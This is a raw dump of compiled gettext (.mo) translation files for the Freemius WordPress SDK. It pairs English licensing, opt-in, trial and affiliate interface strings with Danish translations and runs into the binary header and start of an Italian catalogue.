using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.This plugin requires a newer version of PHP.This will allow %s toTimestampTitleTo avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.To ensure compatibility and avoid conflicts with your installed plugins and themes.To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUser DashboardUser IDUser keyUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View %s StateView Basic %s InfoView Basic Profile InfoView Basic Website InfoView Diagnostic InfoView License EssentialsView Plugins & Themes ListView detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.We made a few tweaks to the %s, %sWe'll make sure to contact your hosting company and resolve the issue. You will get a follow-up email to %s once we have an update.We're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress & PHP versions, site language & titleWordPress.org Plugin PageWould you like to merge %s into %s?Would you like to proceed with the update?YesYes - %sYes - both addresses are mineYes - do your thingYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.You already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesYou might have missed it, but you don't have to share any data and can just %s the opt-in.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your WordPress user's: first & last name, and email addressYour account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist %2$sYour subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactivate a license hereactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismisscomplete the opt-indatadaysdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,hourhoursinstalled add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingoptionalproduct versionVersionproductsrevert it nowsecondssecseems like the key you entered doesn't match our records.send me security & feature updates, educational content and offers.skipstart the trialsubscriptionswitchingthe above-mentioned sitesthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Joachim Jensen, 2019-2020,2022 Language-Team: Danish (Denmark) (http://www.transifex.com/freemius/wordpress-sdk/language/da_DK/) Language: da_DK MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js HmmW00t %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$sThe %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.Færdiggør aktivering af "%s" nuBetalingen for tilføjelsen %s blev gennemført.%s installeringer1%s licenser%s siden%s og tilføjelser%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s er den nye ejer af kontoen.%s minimum payout amount.%s opt-in was successfully completed.%s eller højere%s vurdering%s vurderinger1%s sek%s stjerne%s stjerner%s gang%s gange%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's betalte features%sClick here%s to choose the sites where you'd like to activate the license on.Click here to learn more about updating PHP.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.API←➤KontoKontodetaljerAccount is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.HandlingerAktiverAktiver %sAktiver %s planAktiver funktioner i %sAktiver gratis versionAktiver licensAkiver licens på alle afventende websteder.Aktiver licens på alle websteder i netværket.Aktiver denne tilføjelseAktiveretTilføjelser til %sTilføjelser til modul %sTilføj andet domæneTilføjelseTilføjelserAdd-on must be deployed to WordPress.org or Freemius.AdresseAdresselinje %dAffiliateAffiliationEfter dine gratis %s er prisen kun %sAccepter & aktiver licensAlle forespørgslerAlle typerTillad & FortsætAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.BeløbAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.Der skete en ukendt fejl.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonym feedbackAnvend på alle afventende websteder.Anvend på alle websteder i netværket.Ansøg om at blive en affiliateAre both %s and %s your email addresses?Er du sikker på, du vil slette al Freemius data?Er du sikker på, du vil fortsætte?Are you sure you would like to proceed with the disconnection?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto-installation fungerer kun for tilmeldte brugere.Auto-fornyer om %sAutomatisk installeringGennemsnitlig vurderingSejtBliv en affiliateBetaBetalingFaktureringBlokererBlog-IDBodyBundleBundle PlanFirmanavnKøb en licens nuKøb licensBy changing the user, you agree to transfer the account ownership to:By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s.Kan du ikke finde din licensnøgle?AnnullerAnnuller %s og fortsætCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Annuller %s?Annuller installeringAnnuller abonnementAnnuller prøveperiodeAnnulleretAnnullerer %sAnnullerer %s...Annullerer abonnementetCancelling the trial will immediately block access to all premium features. Are you sure?Skift licensSkift ejerskabSkift planSkift brugerUdtjekningByRyd API-cacheClear Updates TransientsKlik herKlik her for at benytte pluginnet anonymtClick to see reviews that provided a rating of %sKlik for at vise skærmbillede %d i fuld skærmProdukterKodeCommunicationKompatibel op tilKontaktKontakt supportKontakt osBidragsydereKunne ikke aktivere %s.LandCron TypeCurrent %s & SDK versions, and if active or uninstalledDatoDeaktiverDeaktiver licensDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeaktiveringFejlfindingslogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Uddeleger til webstedsadministratorerSlet alle kontiDetaljerDiagnostic InfoDiagnostic data will no longer be sent from %s to %s.Disabling white-label modeDisconnecting the website will permanently remove %s from your User Dashboard's account.Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Har du ikke en licensnøgle?Donér til dette pluginNedgraderer din planDownloadDownload 1%s versionHent betalt versionDownload den seneste version af %sDownload den seneste versionDownloadetDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Kopier webstedDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.E-mailE-mailadresseEmail address updateEnabling white-label modeSlutEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used during the purchase and we will resend you the license key.Indtast e-mailadressen, som du benyttede ved opgraderingen, nedenfor og vi vil gensende licensnøglen til dig.Enter the new email addressFejlFejl modtager fra serveren:UdløbetUdløber om %sExtensionsEkstra domænerAndre domæner du vil markedsføre produktet fra.FilFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.For delivery of security & feature updates, and license management, %s needs toGratisGratis prøveperiodeGratis versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius tilstandFreemius is our licensing and software updates engineFulde navnFunktionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Great, please install cURL and enable it in your php.ini file. In addition, search for the 'disable_functions' directive in your php.ini file and remove any disabled methods starting with 'curl_'. To make sure it was successfully activated, use 'phpinfo()'. Once activated, deactivate the %s and reactivate it back again.Har du en licensnøgle?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!Homepage URL & title, WP & PHP versions, and site languageHvad synes du om %s indtil videre? Test alle vores premium funktioner i %s med en %d-dags gratis prøveperiode.Upload og aktivering, hvordan?Hvordan vil du promovere os?I Agree - Change UserJeg kan ikke længere betale for detJeg forstod ikke, hvordan jeg skulle få det til at fungere.Jeg ved ikke hvad cURL er, eller hvordan jeg installerer det. Hjælp mig!Jeg har ikke lyst til at dele mine informationer med jerJeg fandt et bedre %sJeg har opgraderet min konto, men når jeg forsøger at synkronisere licensen, forbliver planen %s.Jeg har ikke længere brug for %sJeg behøvede kun %s i en kort periodeIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.Hvis du har tid, så lad os venligst vide hvorfor du %sIf you skip this, that's okay! %1$s will still work just fine.If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there.If you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Vigtig meddelelse til opgradering:Om %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Installer gratis version nuInstaller opdatering til gratis version nuInstaller nuInstaller opdatering nuInstallerer plugin: %sInvalid clone resolution action.Ugyldigt modul-ID.Invalid new user ID or email address.Invalid site details collection.FakturaIs %2$s a duplicate of %4$s?Er %2$s et nyt websted?Is %2$s the new home of %4$s?Er aktivIs active, deactivated, or uninstalledIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.Det ser ud til, at licensen ikke kunne aktiveres.Det ser ud til, at licens-deaktiveringen mislykkedes.Det lader ikke til du er i en prøveperiode længere, så der er ikke noget at annullere :-)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.Det ser ud til, at dit websted endnu ikke har en aktiv licens.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueDet er ikke, hvad jeg søgteDeltag i beta-programmetJust letting you know that the add-ons information of %s is being pulled from an external server.Keep SharingKeep automatic updatesNøgleVær venlig at dele hvad der ikke virkede så vi kan rette det for kommende brugere....Fortæl os venligst årsagen, så vi kan forbedre det.SidsteSenest opdateretSeneste licenseSeneste gratis version installeretSeneste version installeretLæs mereLængdeLicensLicensaftaleLicens-IDLicensnøgleLicense issues?LicensnøgleLicensnøglen er tom.LivstidLike the %s? Become our ambassador and earn cash ;-)Hent DB-indstillingLocalhostLogLoggerLong-Term DuplicateBeskedMetodeFlytFlyt licensMigrate Options to NetworkMobil-appsModulModul-stiModultypeMere information om %sNavnNames, slugs, versions, and if active or notNetværksblogNetværksbrugerNever miss an important updateNever miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.NyNy version tilgængeligNyt webstedNyere gratis version (%s) installeretNyere version (%s) installeretNyhedsbrevNæsteNejNej - bare deaktiverNo - only move this site's data to %sIntet IDIngen bindinger i %s - annuller når som helstIngen bindinger i %s dage - annuller når som helst!Betalingskort ikke påkrævetUdløber ikkeUdløber ikkeIngen af %s's planer understøtter prøveperiode.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.TilmeldFrameldOpt in to get email notifications for security & feature updates, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Accepter for at gøre "%s" bedre!AndetE-mailadresse for ejerEjer-IDEjer-navnPCI-kompatibelPaid add-on must be deployed to Freemius.E-mailadresse til PayPal-kontoBetalingerUdbetalinger er i USD og behandles hver måned via PayPal.PlanPlan %s eksisterer ikke og kan derfor ikke starte prøveperiode.Plan %s understøtter ikke en prøveperiode.Plan-IDKontakt os herKontakt os venligst med følgende besked:Download venligst %s.Indtast licensnøglen, du modtog i e-mailen lige efter købet:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Følg venligst disse trin for at færdiggøre opgraderingenLad os vide, om vi har lov til at kontakte dig med sikkerheds- og feature-opdateringer, informativt indhold og lejlighedsvise tilbud:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Indtast venligst dit fulde navn.PluginPlugin-webstedPlugin-IDPlugin-installeringÆndringslogBeskrivelseFAQFunktioner og priserInstalleringAndre noterAnmeldelserPlugin is a "Serviceware" which means it does not have a premium code version.PluginsSynkronisering af plugins og temaerPremiumPremium-versionen af %s blev aktiveret.Premium tilføjelse er allerede installeret.Premium versionPremium version allerede aktiv.PriserPrivatlivspolitikFortsætProces-IDArbejderProdukterProgramoversigtPromoveringsmetoderProvinsOffentlig nøgleKøb licensKøb flereHurtig feedbackKvoteGensend e-mail om aktiveringRefer new customers to our %s and earn %s commission on each successful sale you refer!Forny licensForny din licens nuForespørgslerRequires PHP VersionKræver WordPress-versionReset Deactivation SnoozingResultatSDKSDK-stiSpar %sGemtPlanlagte cron jobsSkærmbillederSøg efter adressePrivat nøgleSecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Det ser ud til, at du har den seneste udgivelse.Vælg landSend licensnøgleSæt DB-indstillingSharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.Simuler netværksopgraderingSimulate Trial PromotionEnkelt site licensWebsteds-IDWebsted er tilmeldt.WebstederSpring over & %sKortnavnUdsæt & %sSo you can reuse the license when the %s is no longer active.Sociale medier (Facebook, Twitter osv.)Vi beklager ulejligheden, og vi er her for at hjælpe, hvis du giver os chancen.Beklager, vi kunne ikke opdatere e-mailen. Der er allerede registreret en anden bruger med samme e-mail.StartStart fejlfindingStart prøveperiodeStart mine gratis %sStatStay ConnectedStop fejlfindingSendSend & %sAbonnementSupportSupportforumSynkroniser data fra serverMoms / VAT IDServicevilkårTak fordi du giver os en chance for at fixe det! En besked er lige blevet sendt til vores tekniske personale. Vi vil vende tilbage, så snart der er nyt om %s. Vi sætter pris på din tålmodighed.Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you for updating to %1$s v%2$s!Mange tak for, at du benytter %s og tilhørende add-ons!Tak fordi du benytter %s!Mange tak for at benytte vores produkter!Mange tak!Tak %s!Tak fordi du bekræftede skift af ejerskab. En e-mail er blevet sendt til %s for sidste godkendelse.The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.%s ødelagde min webside%s virkede ikke%s virkede ikke som forventet%s er godt, men jeg har brug for en specifik feature, som ikke understøttes%s virker ikke%s stoppede pludseligt med at virkeThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.Opgraderingen af %s blev fuldendt.TemaTemaskiftTemaerThere is a %s of %s available.En ny version af %s er tilgængelig.There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:Dette plugin er ikke markeret som kompatibel med din nuværende version af WordPress.Dette plugin er ikke blevet testet med din nuværende version af WordPress.This plugin requires a newer version of PHP.This will allow %s toTidsstempelTitelTo avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.To ensure compatibility and avoid conflicts with your installed plugins and themes.To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.TotalByPrøveperiodeTypeUnable to connect to the filesystem. Please confirm your credentials.Ubegrænsede licenserUbegrænsede opdateringerUbegrænset provision.Op til %s webstederOpdaterOpdater licensOpdateringer, annonceringer, marketing, ingen spamOpgraderUpload og aktiver den downloadede versionBrugerpanelBruger-IDBrugernøgleBrugereVærdiVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerificeretVerificer e-mailVersion %s er blevet udgivet.View %s StateView Basic %s InfoView Basic Profile InfoView Basic Website InfoView Diagnostic InfoView License EssentialsView Plugins & Themes ListVis detaljerVis betalte featuresAdvarselVi kan ikke finde nogen aktive licenser knyttet til den e-mailadresse, er du sikker på, det er den rigtige adresse?Vi kunne ikke finde din e-mailadresse i systemet, er du sikker på, det er den rigtige adresse?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.Vi har foretaget nogle rettelser til %s, %sVi vil kontakte din udbyder og løse problemet. Når vi har opdatinger i sagen, vil vi følge op med en email til dig på %s.We're excited to introduce the Freemius network-level integration.Websted, e-mail, og statistikker for sociale medier (valgfrit)Welcome to %s! To get started, please enter your license key:Hvad forventede du?Hvilken feature?Angiv venligst %s?Hvilken pris ville du foretrække at betale?Hvad ledte du efter?Hvad er navnet på %s?Hvor vil du promovere %s?WordPress & PHP versions, site language & titleWordPress.org Plugin-sideWould you like to merge %s into %s?Vil du fortsætte med opdateringen?JaJa - %sYes - both addresses are mineJa - fortsæt bareYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.Du har allerede brugt din prøveperiode.Du er 1 klik fra at begynde din %1$s dages gratis prøveperiode af planen %2$s.Det var det!Du benytter allerede %s under en prøveperiode.Du mangler kun ét skridt - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.Du har ikke en gyldig licens til at benytte premium-versionen.Du har en %s licens.Du har købt en licens til %s.Opdatering af %s blev gennemført.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesDu har måske overset det, men du behøver ikke at dele data og kan blot %s tilmeldingen.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.Du er allerede tilmeldt vores brugssporing, hvilket hjælper os med at forbedre %s.Du er allerede tilmeldt vores brugssporing, hvilket hjælper os med at forbedre dem.Your %s Add-on plan was successfully upgraded.Din gratis prøveperiode for %s er blevet annulleret.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your WordPress user's: first & last name, and email addressDin konto blev aktiveret med planen %s.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Din e-mailadresse er blevet verificeret - du er FOR SEJ!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Din gratis prøveperiode er udløbet. Du kan stadig benytte alle de gratis features.Din licens er blevet annulleret. Hvis du mener, dette er en fejl, så kontakt venligst support.Din licens er udløbet. %1$sOpgrader nu%2$s for at fortsætte med at benytte %3$s uden forstyrrelser.Din licens er udløbet. Du kan stadig benytte alle funktionerne i %s, men du bliver nødt til at fornye din licens for at få opdateringer og support.Din licens er udløbet. Du kan stadig fortsætte med at benytte den gratis udgave af %s.Din licens er blevet aktiveret.Din licens blev deaktiveret, du er tilbage på planen %s.Dit navn er blevet opdateret.Din plan er blevet aktiveret.Din plan er blevet ændret til %s.Din plan er blevet opgraderet.Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist %2$sYour subscription was successfully cancelled. Your %s plan license will expire in %s.Din prøveperiode er begyndt.ZIP / PostnummerSådanaktiver en licens herAktiv%s virker ikke uden %s.%s virker ikke uden pluginnet.Se hertillad%s tilbageAktivererårAPIFjernFejlfindingTillykkeBlokeretForbundetDownload senesteDownload seneste gratis versionMånedligtUdløberStiSender e-mailmdÅrligtÅrligtEngangsbeløbPlanIngen privat nøgleSDK-versionerLicensSynkroniserSynkroniser licensForfatterFraTilbaseret på %sStart gratis prøveperiodeFjernFjerncomplete the opt-indatadagedeaktivererdelegérsend %sIKKE%s sikkerheds- og feature-opdateringer, informativt indhold og tilbud.%s PlanFaktureret %sBedsteHeyUpsHey %s,timetimerInstalleretYee-hawlicensWebstedermsny beta-versionny versionikke verificeretPrisPriservalgfritVersionprodukterrevert it nowsekseems like the key you entered doesn't match our records.send mig sikkerheds- og feature-opdateringer, informativt indhold og tilbud.spring overstart prøveperiodenabonnementskifterthe above-mentioned sitesden seneste version af %s herprøveperiodePrøveperiodeSletNedgraderRedigerSkjulTilmeldFrameldKøbVisSpring overOpdaterOpgrader%s sidenvendor/freemius/languages/freemius-it_IT.mo000064400000164362147600365160015034 0ustar00eD5l&@3AA33n&424Z4h#5d5S5%E6 k6 w66666C7z7_/888#88 9 9 9&9-959>9F9@O9H99O9j<::C;G;f;;;;; ;;;;;&<-/<]< r<|<<<<<5<<= = ='&=N= g= t=~=o==>G>T>B?a? @@":@]@(z@2@!@a@+ZA0AAAAAA BBB+B4Bcyy y&y<zD>zZzTzR3{.{.{{-|9$}Z^}3}<}b*~P~U~_4K/({G#%)6$`U)ہ4L;a6>Ԃ4T$jŃ&*&7Q3ׄ  6Nb*1܅# 0L^ nzƆˆ І݆N5Trćʇ13C T ` m x 9ɈCGQL ʼn߉  . 8 B N [ i s } K֎}gXl_Ő"%.Hw :~Uv̓)%0Vet ^[kB|ΕK #* 1;Pn,.× 3MT<Z  +ʘ %2tFÙMfY"1"#">+a7Ŝg)LSvʝ . 3@S\d ivF#'=  3=Qe # 0>D'V ~-I@BKRen # ǢԢ ٢}s ۤ#|$!<\ v'ϧvާwUͨӨ $J@" /6R Zf7x$ '9 ?;O{h"#Įܮ!)?^Y+үI)Ұ]lZ#DZ^!P#r (ٲ-Fem ˳0g<fմ<=ӵ&~8A J3~[/-#< `  Ҹ A#e { ¹Թ *G LYhn '% * &,0C]"Ļջ4u !#5Y_r = I SXY-% [*Cʿ5w 2SS*   &* C Q \Ug7-#Qb   /C'I[q !"$ GQ U bow @|nv-%=Tq   9(&QO/ 5#Aev |  'V~( zOg&wH*"6`u7b *UIN P Wap@u *# N%\  OZ#i{gCs%ME881$Di"##*>Ki>2j''Eo&=G@}FCM<D3?Ii@H4h}g\NeW/1Ja.,-*6]a4 '; cn w  "  '38 @ LV\ kx   #_&   (1:IFMR#$,Khn}   jd,y<<"< NF;*YnG"C i%S7M=PL4X:wD6:,H|Z(F/A!9'XX6 Dra-meOTr/uu2CngWv &[dhHK'To3Gv9A@F_Q\{UlVN91N]Rx&b[}O0 ^pj8(.5#GR3!iQ Qf  0o 2m {OE ZT23c] P e ?yVE-SgD"U$CESK7za ]@!x=%^;kBY >?z8;sRV6`s>_}PwMba.+[ f-ld#`0LU @\)Y$qeZ|c8+~4#=J*B.k:t$JW\p'L*>)Iqh/tKb%(5^?&W4AIM)~1BH`75J_I+c1, %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s"The ", e.g.: "The plugin"The %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s is the new 